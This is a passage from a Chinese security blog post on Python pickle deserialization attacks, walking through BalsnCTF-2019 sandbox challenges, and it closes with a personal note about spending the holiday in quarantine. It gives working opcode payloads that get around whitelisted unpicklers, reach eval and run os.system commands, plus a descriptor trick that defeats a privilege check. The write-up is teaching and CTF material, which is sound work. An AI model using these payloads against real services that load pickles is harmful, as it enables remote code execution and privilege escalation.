到这里:
__import__(module) 等于
structs.__getattribute__("structs") 等于
structs.__builtins__

所以 module 已经是 structs.__builtins__ 了,只需要让 name = "get" 即可拿到 eval

1
2
3
4
5
6
7
8
9
10
11
12
13
# structs.__dict__["structs"] = structs.__builtins__
cstructs\n__dict__\nVstructs\ncstructs\n__builtins__\ns0

# structs.__builtins__['__import__'] = structs.__getattribute__
cstructs\n__builtins__\nV__import__\ncstructs\n__getattribute__\ns0

# get eval
cstructs\nget\n(Veval\ntR(V

# get flag

# 收工
\ntR.

这样即可获得 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import structs
import pickle
import io


whitelist = ["structs"]


class RestrictedUnpickler(pickle.Unpickler):

def find_class(self, module, name):
if module not in whitelist or '.' in name:
raise KeyError('The pickle is spoilt :(')
module = __import__(module)
return getattr(module, name)


dumps = pickle.dumps

a = b'''cstructs\n__dict__\nVstructs\ncstructs\n__builtins__\ns0cstructs\n__builtins__\nV__import__\ncstructs\n__getattribute__\ns0cstructs\nget\n(Veval\ntR(''' + \
b'''Vprint(open("./flag").read())\ntR.'''
b = RestrictedUnpickler(io.BytesIO(a)).load()
print(b)

如果只是为了拿到 flag,用 open("./flag").read() 也可以。但我们总是会想想能不能 RCE,那么这道题可以 RCE 吗?你可能会想,opcode 里面已经把 __import__ 污染了,所以没法 import 其他的包来 RCE。

实际上是可以的。同样,在我之前写的《Python 沙箱逃逸的经验总结》(见资料 1)里有用 mro 来实现无 import 执行任意命令的方法。我这里就不啰嗦了,直接给出 opcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# structs.__dict__["structs"] = structs.__builtins__
cstructs\n__dict__\nVstructs\ncstructs\n__builtins__\ns0

# structs.__builtins__['__import__'] = structs.__getattribute__
cstructs\n__builtins__\nV__import__\ncstructs\n__getattribute__\ns0

# get eval
cstructs\nget\n(Veval\ntR(V

# 利用 mro 寻找可利用的模块,这里以 sys 为例
[x for x in [].__class__.__base__.__subclasses__() if x.__name__ == "_Printer"][0]._Printer__setup.__globals__['sys'].modules.get("os").system("whoami")

# 收工
\ntR.

pyshv3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
# ----- securePickle.py ----- 
import pickle
import io


whitelist = []


# See https://docs.python.org/3.7/library/pickle.html#restricting-globals
class RestrictedUnpickler(pickle.Unpickler):

def find_class(self, module, name):
if module not in whitelist or '.' in name:
raise KeyError('The pickle is spoilt :(')
return pickle.Unpickler.find_class(self, module, name)


def loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()


dumps = pickle.dumps



# ----- server.py -----
import securePickle as pickle
import codecs
import os


pickle.whitelist.append('structs')


class Pysh(object):
def __init__(self):
self.key = os.urandom(100)
self.login()
self.cmds = {
'help': self.cmd_help,
'whoami': self.cmd_whoami,
'su': self.cmd_su,
'flag': self.cmd_flag,
}

def login(self):
with open('../flag.txt', 'rb') as f:
flag = f.read()
flag = bytes(a ^ b for a, b in zip(self.key, flag))
user = input().encode('ascii')
user = codecs.decode(user, 'base64')
user = pickle.loads(user)
print('Login as ' + user.name + ' - ' + user.group)
user.privileged = False
user.flag = flag
self.user = user

def run(self):
while True:
req = input('$ ')
func = self.cmds.get(req, None)
if func is None:
print('pysh: ' + req + ': command not found')
else:
func()

def cmd_help(self):
print('Available commands: ' + ' '.join(self.cmds.keys()))

def cmd_whoami(self):
print(self.user.name, self.user.group)

def cmd_su(self):
print("Not Implemented QAQ")
# self.user.privileged = 1

def cmd_flag(self):
if not self.user.privileged:
print('flag: Permission denied')
else:
print(bytes(a ^ b for a, b in zip(self.user.flag, self.key)))


if __name__ == '__main__':
pysh = Pysh()
pysh.run()



# ----- structs.py -----
class User(object):
def __init__(self, name, group):
self.name = name
self.group = group
self.isadmin = 0
self.prompt = ''

这道题也比较难。限制如下:

  1. 只能引入 structs 模块
  2. 方法中不能有 .
  3. 无法 import 额外的模块。所以要想拿到 flag,self.user.privileged 需要不为 False

由于 user.privileged = False 是在反序列化之后运行的,所以就算覆盖了 struct 的 privileged,也会被强制改回来。

我们知道,Python 的点运算符,背后实际上是各种描述器在起作用,而描述器其实由 __getattribute__() 方法调用的。所以这里的思路就是修改描述器使得 . 的行为可控。对于描述器我们并不陌生,如果你没用过,可以看下官方文档,见资料 8。

如果一个对象定义了 __set__()__delete__(),则它会被视为数据描述器。 仅定义了 __get__() 的描述器称为非数据描述器。

其中,__set__() 决定了赋值时的行为,所以我们能不能通过重载 __set__ 使得 user.privileged = False 失效呢?

那么这个时候可以等价为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class User(object):
def __init__(self, name, group):
self.name = name
self.group = group
self.isadmin = 0
self.prompt = ''


user = User("tr0y", "root")

# 在这里面写入合适的语句

user.privileged = False
print(user.privileged) # 使得 user.privileged == True

首先,__set__ 应该赋予一个 callable(废话),这个 callable 是比较有讲究的:

  1. 必须要有三个参数,执行 user.privileged = False 的时候,分为用于接收 userprivilegedFalse
  2. 返回值必须不为广义的 False(什么 None 啊、"" 啊,都算广义的 False)
  3. 调用的源头必须在一个类中

那么在这道题目中,User 这个类本身正好符合要求,所以可以这么写:User.__set__ = User。但是如果只写这一句的话,你会发现还是无法改变 user.privileged = False 的行为。

这个时候就需要看下 __set__ 到底如何改变 Python 赋值行为的。对于 obj.attr = value(在对属性赋值时),Python 的查找策略是这样的:查找 obj.__class__.__dict__,如果 attr 存在并且是一个数据描述器,调用 attr 的 __set__ 方法,结束。如果不存在,会继续到 obj.__class__ 的父类和祖先类中查找,找到数据描述器则调用其 __set__ 方法,没找到则执行 obj.__dict__['attr'] = value

所以我们应该还要加一句 User.privileged = User("tr0y", "root") 保证 user.__class__.__dict__ 已经有了 privileged 并且是一个数据描述器,这样就会走到 __set__。橘友们可能会问,那为什么不能 user.privileged = User("tr0y", "root") 这么写呢?原因在于,privileged 这个属性是不存在于 user 的,所以会继续在父类中找,而父类也没有这个属性,所以直接执行的是 user.__dict__['privileged'] = User("tr0y", "root"),这样是起不到作用的。同时由于 flag 并不存在于 user.__class__.__dict__ 里,且父类的 User 也没有 flag 这个属性,所以 flag 这个属性是正常赋值的。

这样的话,我们要加的语句应该是:

1
2
User.__set__ = User
User.privileged = User("tr0y", "root")

最后的最后,由于 structs.User.__dict__ 是 mappingproxy 类型,所以需要用到变量覆盖里提到的那个 tip

综上,转为 opcode 就是:

1
2
3
4
5
6
7
8
9
10
11
# 新增 __set__
cstructs\nUser\n(N}V__set__\ncstructs\nUser\nstb
0 # 弹出
# 新增 privileged
cstructs\nUser\n(N}Vprivileged\ncstructs\nUser\n(Vtr0y\nVroot\ntRstb
0 # 弹出
# 返回 structs.User 实例
cstructs\nUser\n(Vtr0y\nVroot\ntR.

# 最终 payload
cstructs\nUser\n(N}V__set__\ncstructs\nUser\nstb0cstructs\nUser\n(N}Vprivileged\ncstructs\nUser\n(Vtr0y\nVroot\ntRstb0cstructs\nUser\n(Vtr0y\nVroot\ntR.

总结

橘友们应该可以发现,opcode 有个特点是“赋值容易查值难”。如何利用 opcode 构造 payload 需要多练习才能掌握,以及对 Python 魔术方法等各种稍底层的原理要有一定的理解,才能够知其然也知其所以然。

Python 反序列化、Python 沙箱逃逸,以及 SSIT 所需的知识点有着很大的关联性,通其一而知其百,保持知识的连通性效率才会高。

资料

  1. Python 沙箱逃逸的经验总结
    https://www.tr0y.wang/2019/05/06/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E7%BB%8F%E9%AA%8C%E6%80%BB%E7%BB%93/
  2. pickle.py 中 opcode 备注
    https://github.com/python/cpython/blob/9412f4d1ad28d48d8bb4725f05fd8f8d0daf8cd2/Lib/pickle.py#L107
  3. 可以序列化的东西
    https://docs.python.org/zh-cn/3/library/pickle.html#what-can-be-pickled-and-unpickled
  4. pker,方便生成 opcode 的工具
    https://github.com/EddieIvan01/pker
  5. Python 的导入机制
    https://docs.python.org/zh-cn/3/reference/import.html#the-import-system
  6. pickle 的 load_build 逻辑
    https://github.com/python/cpython/blob/9412f4d1ad28d48d8bb4725f05fd8f8d0daf8cd2/Lib/pickle.py#L1697
  7. BalsnCTF-2019 Python 反序列化题
    https://github.com/sasdf/ctf/tree/master/tasks/2019/BalsnCTF/misc
  8. Python 描述器
    https://docs.python.org/zh-cn/3/howto/descriptor.html

今年应该是最惨的一个春节
在外地居家隔离
你说回家吧好像确实也挺无聊的
但就是控制不住想回去
一个人过春节
天天吃政府发的盒饭
真是太容易焦虑了
希望疫情早点结束

这篇文章是从除夕开始写的
化焦虑为动力了属实是

这两天搞了个微博账号
微博 id 是 6575448477,用户名是 Macr0phag3
主要是整活和发一些技术啊、摄影啊之类的日常
隔离期间真的话多,有点啰嗦哈哈哈
好了就说到这吧

祝橘友们虎年虎虎生威,大吉大利


SecMap - 反序列化(Python)
https://www.tr0y.wang/2022/02/03/SecMap-unserialize-python/
作者
Tr0y
发布于
2022年2月3日
更新于
2022年8月10日
许可协议